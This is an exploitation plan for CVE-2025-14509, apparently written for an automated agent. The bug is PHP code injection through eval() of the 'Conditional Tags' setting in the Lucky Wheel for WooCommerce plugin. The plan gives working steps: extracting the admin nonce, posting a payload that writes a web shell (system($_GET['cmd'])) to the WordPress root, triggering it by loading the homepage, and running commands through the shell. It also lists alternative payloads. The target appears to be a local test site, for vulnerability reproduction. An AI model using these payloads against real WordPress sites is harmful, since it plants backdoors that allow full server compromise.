Lucky Wheel for WooCommerce – Spin a Sale <= 1.1.13 - Authenticated (Administrator+) PHP Code Injection via Conditional Tags

This research plan targets CVE-2025-14509, a PHP Code Injection vulnerability in the "Lucky Wheel for WooCommerce – Spin a Sale" plugin.

---

1. Vulnerability Summary

The "Lucky Wheel for WooCommerce" plugin allows administrators to define "Conditional Tags" to control when the lucky wheel appears (e.g., is_front_page() or is_cart()). The plugin processes these tags by passing them directly into the PHP eval() function without sanitization. This allows an authenticated administrator (or a site admin on a multisite installation where they shouldn't have this power) to execute arbitrary PHP code by injecting malicious payloads into the conditional tags setting.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin.php?page=woo-lucky-wheel (Admin settings page)
• Vulnerable Parameter: Likely a field within the woo_lucky_wheel_params option, specifically associated with "Conditional Tags".
• Action: A POST request to save the plugin settings.
• Authentication Level: Administrator or higher.
• Preconditions: The plugin must be active. In multisite, this is reachable by a blog admin.

3. Code Flow (Inferred)

1. Storage: The Administrator submits a settings form. The plugin handles the request (likely via admin_init or a specific menu callback) and saves the "Conditional Tags" string into the WordPress options table (e.g., get_option('woo_lucky_wheel_params')).
2. Retrieval: When a frontend page loads, the plugin initializes logic to determine if the wheel should be displayed.
3. Execution Hook: The plugin likely hooks into wp_enqueue_scripts, wp_footer, or template_redirect.
4. The Sink: The plugin retrieves the saved conditional tag string. It evaluates the string using eval().
   • Example logic: if ( $conditional_tags && eval( "return $conditional_tags;" ) ) { // show wheel }
5. Injection: If the string is is_front_page(); phpinfo();, the eval() call executes phpinfo().

4. Nonce Acquisition Strategy

The vulnerability requires Administrator access to save settings. WordPress admin pages protect settings updates with nonces.

1. Login: The agent must authenticate as an Administrator.
2. Navigate: Go to the plugin settings page: wp-admin/admin.php?page=woo-lucky-wheel.
3. Extract Nonce: The settings form will contain a hidden input field, likely named _wpnonce or a plugin-specific nonce.
4. Action String: Identify the action string used for the nonce (e.g., woo-lucky-wheel-settings-save or generic update-options).

Extraction via browser_eval:

// Example: Finding the nonce for the settings form
document.querySelector('input[name="_wpnonce"]')?.value;

5. Exploitation Strategy

Step 1: Identify the Parameter Name
Locate the exact field name for "Conditional Tags". Based on common plugin patterns, it is likely part of an array or a standalone setting.

• Search for "Conditional tags" in the HTML of the settings page.
• The field name might look like woo_lucky_wheel_params[conditional_tags] or custom_conditional.

Step 2: Inject Payload
Prepare a payload that terminates a legitimate conditional check and executes a system command.

• Payload: is_front_page() || (file_put_contents(ABSPATH . "shell.php", "<?php phpinfo(); ?>") && false)
• This ensures the eval returns a boolean (to avoid breaking plugin logic) while performing the side effect.

Step 3: Submit POST Request
Use http_request to submit the settings update.

• URL: http://localhost:8888/wp-admin/admin.php?page=woo-lucky-wheel
• Method: POST
• Body (URL-encoded):
  • _wpnonce=[EXTRACTED_NONCE]
  • _wp_http_referer=/wp-admin/admin.php?page=woo-lucky-wheel
  • [FIELD_NAME]=is_front_page() || (file_put_contents(ABSPATH . 'shell.php', '<?php system($_GET["cmd"]); ?>') && false)
  • submit=Save Settings (or equivalent)

Step 4: Trigger Execution
The code is executed when the plugin's visibility check runs on the frontend.

• Perform a GET request to the site homepage: http://localhost:8888/.

6. Test Data Setup

1. Install Plugin: Ensure woo-lucky-wheel version <= 1.1.13 is installed and active.
2. WooCommerce: This plugin requires WooCommerce. Ensure WooCommerce is installed and configured (standard setup).
3. Administrator User: Use the existing admin credentials.

7. Expected Results

• Upon saving the settings, the malicious string is stored in the database.
• Upon visiting the homepage, the eval() call triggers.
• A file named shell.php should be created in the WordPress root directory (ABSPATH).

8. Verification Steps

1. Check for File: Run wp eval "echo file_exists(ABSPATH . 'shell.php') ? 'VULNERABLE' : 'FAILED';"
2. Verify Execution: Use http_request to access the created shell:
   • GET /shell.php?cmd=id
   • Expected response: Output of the id command (e.g., uid=33(www-data)...).

9. Alternative Approaches

• Error-Based Execution: If file_put_contents is restricted, try an injection that produces a visible error to confirm execution:
  • Payload: is_front_page(); throw new Exception("RCE_SUCCESS");
• Direct output: Try is_front_page(); var_dump(getcwd()); die(); which should halt the page load and print the current directory if successful.
• Option Injection: If the plugin uses update_option directly via a specific AJAX action, target admin-ajax.php. Search for wp_ajax_ hooks in the plugin source related to "save" or "settings".